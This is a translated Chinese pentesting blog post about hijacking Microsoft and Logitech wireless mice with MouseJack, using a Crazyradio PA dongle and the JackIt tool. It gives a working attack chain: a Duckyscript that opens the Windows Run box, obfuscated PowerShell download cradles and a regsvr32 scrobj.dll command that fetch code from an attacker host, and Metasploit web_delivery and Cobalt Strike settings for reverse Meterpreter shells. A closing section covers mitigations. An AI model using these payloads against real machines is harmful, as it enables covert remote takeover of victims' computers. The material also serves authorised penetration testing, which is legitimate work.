如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

玄學醬發表於2017-09-12
本文講的是如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

前言

在內部互動行為中,對本地網路上的名稱解析請求進行病毒感染,是獲得一組初始域名憑據的有效方法之一。雖然這種方法對許多客戶端有用,但是如果鏈路本地組播名稱解析(LLMNR)和NETBIOS協議名稱服務(NTB-NS)被安全地配置或者禁用?那該怎麼辦?

PROTIP: Always prove multiple means of access whenever possible during engagements!

滲透測試員在進行測試時會利用大量攻擊,其中許多地方都是要用到無線外設,其中被稱為“mouseJack攻擊”的技術在2016年初被人們所熟知。

Mousejack攻擊

Mousejack是專門針對無線鍵鼠的劫持攻擊,2016年一家美國物聯網安全創業公司Bastille釋出了一個關於無線滑鼠的漏洞披露報告,稱多廠商生產的無線滑鼠和無線鍵盤存在安全漏洞,惡意攻擊者可以通過低成本的無線攻擊裝置在遠達100米的範圍內遠端控制受害者的無線滑鼠並進行一些惡意操作,這就是Mousejack攻擊。

無線滑鼠一般由兩部分組成,滑鼠和滑鼠接收器,滑鼠端通過採集滑鼠的操作狀態,比如採集滑鼠各個按鍵的按下的狀態,滑鼠移動的軌跡等資料,然後把這些資料調製成模擬訊號通過特定的無線頻率(例如24Mhz,27Mhz,2.4Ghz,或者藍芽)發射出去,滑鼠接收器接受到無線訊號後,解調成資料,解析裡面的資料後做出相應的動作,比如按鍵和移動等操作,大多情況下無線滑鼠通過2.4Ghz的無線頻率和PC端進行通訊。

本文將涉及以下面三個易受攻擊的微軟滑鼠:

1.微軟Sculpt Ergonomic Mouse
2.微軟Wireless Mobile Mouse 4000
3.微軟Wireless Mouse 5000

以及羅技滑鼠,受影響都是利用優聯(Logitech Unifying)接收器軟體的裝置。

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

外設調製

為了幫助我進行Mousejack劫持滲透攻擊,我需要先獲得SeeedStudio的Crazyradio PA USB的加密狗和天線。這是一個約30美元的2.4 GHz遠端無線發射器,將其用於自己的惡意目的。這個新韌體將允許加密狗進行惡意執行,新增資料包嗅探和注入功能。一旦獲得Crazyradio PA,可以在這裡找到使用新韌體進行設定的說明

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

在我的個人實驗室,我正在使用的是羅技的m510無線滑鼠和微軟的無線移動滑鼠4000。

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

這種情況的首選軟體將是JackIt,一個由phiksun(@phikshun)和infamy(@meshmeld)編寫的python指令碼。該專案在利用Bastille在2016釋出的研究工作基礎上,簡化了裝置識別和攻擊傳播。使用Kali或自定義地傳播,繼續獲取指令碼:

$ git clone https://github.com/insecurityofthings/jackit.git /opt/

在README.md檔案中放一個gander,並按照說明安裝JackIt。不過在安裝完成後,請確保在啟動工具之前插入Crazyradio PA加密狗。否則會導致JackIt發生錯誤。現在,我將在沒有任何引數的情況下,開始執行JackIt。此時,工具進入偵察模式,無線輸入裝置的範圍如下:

/opt/jackit/$ ./jackit.py

花一些時間來檢查JackIt的輸出,然後繼續:

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

當發現裝置時,會根據初始顯示順序在KEY列中建立一個新的行。定位特定裝置時,你需要參考這個號碼。 ADDRESS列會顯示無線裝置的硬體MAC地址,以確定你以前是否看過/定位了某個特定裝置(JackIt不會跟蹤你以前定位的裝置),因此在同時使用多臺裝置時,你需要自行跟蹤它們,這一點很有用。一旦JackIt捕獲足夠的資料包,TYPE列就會顯示該裝置的品牌,以便準確識別。請注意,在上圖中,第二個裝置(KEY 2)還沒有被充分地識別。

WARNING: You cannot successfully target a device without the TYPE column populated.

COUNT和SEEN列會在裝置和其加密狗之間檢測到的無線通訊。 COUNT是指Crazyradio PA獲取裝置和加密狗之間的通訊次數。 SEEN會通知我自檢測到上一次通訊以來已經過了幾秒鐘。如果在一段時間內未被檢測到裝置,則分為兩種情況,一種是目前沒有被使用,另一種是不再在檢測範圍內。對於第一種情況來說,使用者可能並未開始使用裝置。無論哪種情況,這些都可能不是理想的目標。

CHANNELS列表會顯示無線外設和加密狗正在利用通訊的通道。最後,PACKET會顯示最後捕獲的通訊內容。不過,在本文的滲透測試中,我可以忽略這兩列。

為了發現實際利用中的裝置,JackIt將需要知道傳送給受害者的惡意按鍵操作。該工具採用Ducky Script格式的命令,USB 橡皮鴨使用的語法,由Hak5建立的按鍵注入USB拇指驅動器。USB 橡皮鴨要求Duckyscript在被用於開發之前進行編碼,而JackIt則沒有這個要求,只需在文字檔案中傳遞“plaintext”命令即可。如果你不熟悉Duckyscript,請點選這裡

下面,我可以推薦一個Duckscriptmousejack劫持攻擊的模板。鑑於使用者可能看到正在進行的劫持攻擊嘗試,所以我會盡可能嘗試簡化攻擊過程,但不會放棄攻擊精度。 DELAY時間比傳統的USB橡皮鴨指令碼短得多,因為沒有必要等待驅動程式安裝,且不必將USB裝置插入受害者的裝置。除了保持DELAY值很低之外,還可以儘可能地縮短實際的攻擊有效載荷。其中的原因有兩方面:其一,較少的按鍵意味著可以在最短的時間內將字元傳送給受害者;其二,可以減少任何資料傳輸的損失問題(無線攻擊可能不穩定,可能丟失或格式錯誤的字元),我稍後會詳細討論這些問題。

GUI r
DELAY 300
STRING ***INSERT MALICIOUS PAYLOAD HERE***
DELAY 300
ENTER
ENTER

使用上面的指令碼,JackIt將開啟Windows“執行”提示,臨時暫停,傳遞我指定的任何惡意有效載荷,臨時暫停,然後提交命令。為了讓你瞭解按鍵注入的速度以及使用者對正在執行的劫持攻擊的可見性,我對使用上述模板向受害者裝置傳送的一串字元的進行了如下記錄:

正如你所看到的,即使我已經採取措施來加速攻擊,還會顯示一個活動視窗。

注意:如果注入的按鍵已經呼叫了一個有效的程式,例如powershell.exe,那麼在執行程式後,該視窗將在注入結束時關閉。在這種情況下,提交的執行提示視窗會彈出,並且在無法正確處理命令時突出顯示文字。

劫持無線滑鼠進行RAT

在大多數情況下,要實現這步,至少需要兩臺裝置。進行滲透攻擊的裝置將附帶Crazyradio PA加密狗並且JackIt也會執行。該裝置的操作者將會接近或繞過目標的物理工作區,以獲取正在使用的無線輸入裝置。本機提交的任何有效載荷都將指示受害者已經接觸到正在託管客戶端內部網路或雲端的命令與控制伺服器的第二臺裝置。

那問題來了,我應該使用什麼樣的惡意有效載荷?可提供遠端託管有效載荷的PowerShell one-liners是一個很好的選擇。 Metasploit框架具有為此目的而專門構建的模組(exploit/multi/script/web_delivery)。

來看看Web Delivery模組的選項:

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

注意,預設的exploit目標值設定為Python。為了利用PowerShell作為傳遞機制,我將需要執行SET TARGET 2.這將確保我生成的有效載荷使用PowerShell下載滲透測試學習平臺pentester的cradle攻擊程式。在大多數情況下,我希望將SRVHOST和LHOST都設定為執行Web Delivery模組的裝置,這樣該模組就會充當命令與控制伺服器。 SRVPORT將被設定成用於託管惡意有效載荷的埠,而LPORT將被設定成有效載荷處理程式的埠。通常建議你儘可能使用無狀態的有效載荷(無狀態的有效載荷),如windows/meterpreter_reverse_https,以增加成功繞過任何可能存在的防病毒解決方案的機會。嘗試使用Web Delivery模組將導致錯誤,這是由於有效載荷超過了Window規定的大約8192個字元的命令列限制,不過Cobalt Strike有效載荷會通過壓縮繞過了這種限制。考慮到這個限制,我使用了一個可以分拆的有效載荷:windows/meterpreter/reverse_https。最後,我會將URIPATH設定成一些簡短的/a,以避免Metasploit生成一個隨機的多字串。一旦設定完畢,模組的選項應該類似於以下內容:

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

接著,繼續執行模組來生成我的PowerShell功能並啟動有效載荷處理程式:

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

如前所述,這種型別的攻擊的優勢是儘可能採用比較短的字串。 Web Delivery模組生成的時間比我喜歡的大多數mousejack攻擊嘗試都會長一點:

powershell.exe -nop -w hidden -c $v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring(`http://192.168.2.10/a`);

這不像是vanilla PowerShell下載的cradle,是嗎?該模組會生成一個隨機變數(在本示例中為$v),並使用它來模糊cradle攻擊程式,以繞過某些防禦。此外,藉助一些命令,cradle還會通過有效載荷成功相應到Internet(如果你的命令與控制伺服器在遠端,可能性會更大)。

我可以在正常工作的情況下對這個有效載荷進行精簡,但必須綜合考慮。如果我的命令與控制伺服器位於客戶端網路的內部,就可以刪除與cradle相關的命令,並且仍然保留一些基本的混淆。或者,如果我正在尋找絕對最短的字串,我可以刪除所有的混淆,並恢復更標準的cradle攻擊程式。總之,這一切的目的就是要逃避使用者檢測,而不是迴避基於主機的保護。以下是每個精簡情況下的示例:

powershell.exe -nop -w hidden -c $v=new-object net.webclient;IEX $v.downloadstring(`http://192.168.2.10/a`);
powershell.exe -nop -w hidden -c IEX(new-object net.webclient).downloadstring(`http://192.168.2.10/a`);
PROTIP: If you’re interested in PowerShell obfuscation techniques, check out the work of @danielhbohannon!

現在我已經設定了命令與控制伺服器並且使用了惡意的字串,我可以提前修改Duckyscript模板,儲存在本地:

GUI r
DELAY 300
STRING powershell.exe -nop -w hidden -c IEX(new-object net.webclient).downloadstring(`http://192.168.2.10/a`);
DELAY 300
ENTER
ENTER

要使用JackIt進行攻擊與監測,只需使用–script標誌呼叫Duckyscript檔案:

/opt/jackit/$ ./jackit.py --script ducky-script.txt

在下圖中,可以看到我發現了兩個由JackIt進行識別的無線外設。只需按CTRL-C,便可啟動我的滑鼠攻擊時:

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

攻擊時,我可以選擇一個單獨的裝置,也可以選擇多個裝置或簡單地利用所有的裝置。一旦我按下ENTER鍵,我指定的攻擊將會啟動。根據目標裝置的品牌差異,攻擊可能會延遲10ms左右。當你看到[+] All attacks completed字樣時,就標誌著JackIt已經完成。

來看看我的Web Delivery模組,看看攻擊是否成功:

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

看起來不是很順利,雖然我試圖對兩個目標進行mousejack攻擊 ,但是隻有一個成功響應。稍後,我會分析導致了mousejack攻擊嘗試可能失敗的原因。

截至目前,我已經成功地將Metasploit的Web Delivery模組與JackIt結合使用,從而攻擊無線外設。還有其他可以利用的框架,會提供類似的powershell功能,包括Cobalt Strike和Empire。我來簡單談一談Cobalt Strike,因為有一個非PowerShell的有效載荷,我喜歡用於劫持。

Cobalt Strike有一個稱為Scripted Web Delivery的攻擊,類似於Metasploit的Web Delivery,但提供了更多的有效載荷選項。雖然有一個PowerShell選項可用,但我更偏向使用regsvr32有效載荷,因為它的程式碼很短,但是,由於使用Visual Basic for Applications(VBA)巨集和元件物件模型(COM)Scriptlet,所以應該首先需要將Microsoft Office安裝在目標系統上:

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

一旦配置完成,有效載荷看起來如以下內容所示:

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

regsvr32 /u /n /s /i:http://192.168.2.10:80/a scrobj.dll

至於這個有效載荷如何工作,並不屬於本文的講解範圍,但如果你有興趣瞭解更多資訊,請點選這裡

需要注意的是,在成功的攻擊之後,會再次出現JackIt的問題,收到錯誤訊息如下所示:

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

我已經能夠在執行在VMWare的Kali以及獨立的Kali框架中重現此錯誤。如果你在其他型別的Linux上遇到此現象,請告訴我。除了重新啟動作業系統之外,解決此錯誤的唯一方法是取消繫結,然後重新繫結CrazyRadio PA加密狗的USB驅動程式。這可以通過在CrazyRadio PA中拔下並重新插入,或通過控制檯發出一些特定的命令來實現。幸運的是,我的同事寫了一個Bash指令碼,每當出現錯誤訊息時,只要簡單地執行以下指令碼,就可以重新執行JackIt:

#!/bin/bash
#Tool :: USB device reset script developed for use with JackIt & CrazyRadio PA USB Adapter
#Author :: Dan Astor (@illegitimateDA)
#Usage :: After running an attack with JackIt, run the script to reset the USB adapter. This will fix the USB Core Error Python throws.
#Unbind USB devices from the system and rebind them
for device in /sys/bus/pci/drivers/uhci_hcd/*:*; do
     #Unbind the device
     echo "${device##*/}" > "${device%/*}/unbind"
     #Bind the device
     echo "${device##*/}" > "${device%/*}/bind"
done

總結

首先,我來討論一下攻擊範圍。坦白說,CrazyRadio PA附帶的天線不是很完美,儘管在做產品宣傳時,加密狗被描述為可以進行遠距離地操作。在我進行滲透攻擊測試時,卻是問題百出。根據我的經驗,我相信這些問題可以通過提高訊號強度來避免,如使用9dBi Wifi Booster(一個加強版WiFi訊號強度顯示軟體)。

其次,微軟的無線裝置可能是存在一些影響測試的小漏洞。與羅技外設不同,微軟的裝置和加密狗之間的每個通訊都使用序列號。在JackIt監控序列號的情況下,如果使用者在傳送攻擊之前執行某些操作(按鍵,移動滑鼠等),則序列號將不再對齊,並且我將再次發現缺少或格式錯誤的字元。雖然有時候有些錯誤很難消除,但我更願意使用羅技外設。

最後,我是如何選擇構建指向我的有效載荷的URL的?這是個難題,利用Cobalt Strike,我已經託管了一個URL,其URL類似於上文提到的示例(http://ip_address/a)。在對潛在的目標發起攻擊後,我發現在命令與控制伺服器上沒有shell。在檢查Cobalt Strike的Web日誌時,我看到類似於以下內容的訊息:

如何利用Mousejack劫持無線滑鼠並攻擊目標計算機

這是令人困惑的,為什麼我的目標企圖達成以/A結尾的網址?有沒有錯誤的攻擊字串在我的DuckyScript檔案中?經過快速檢查,這些猜測都被排除了。後來我發現,使用者必須已啟用CAPS LOCK!從此,在我的mousejackURL中,使用數字/1就可以防止出現類似的問題。

緩解無線滑鼠被劫持的方案

其實最簡單的解決方案就是堅持使用有線外設。話雖如此,如果你完全用慣了2.4 GHz的無線滑鼠,那隻能依靠微軟和羅技官方為受影響的產品制定緩解策略了。

微軟已於2016年4月釋出了一項安全通告,並附有相應的可選更新。該更新嘗試在加密狗處新增更強大的過濾,以便檢測並正確刪除惡意按鍵。不過經過實踐驗證後,研究人員發現,即使在補丁升級後,某些裝置仍然易受攻擊。

而羅技則採取了不同的方法,他們要求使用者手動對韌體進行更新以徹底解決問題。這是過程比較複雜,只適用於專業技術人員。

鑑於以上的分析,我可以預測,未來對無線滑鼠的劫持將會成為一個主流攻擊手段。

原文釋出時間為:2017年8月23日
本文作者:luochicun
本文來自雲棲社群合作伙伴嘶吼,瞭解相關資訊可以關注嘶吼網站。


相關文章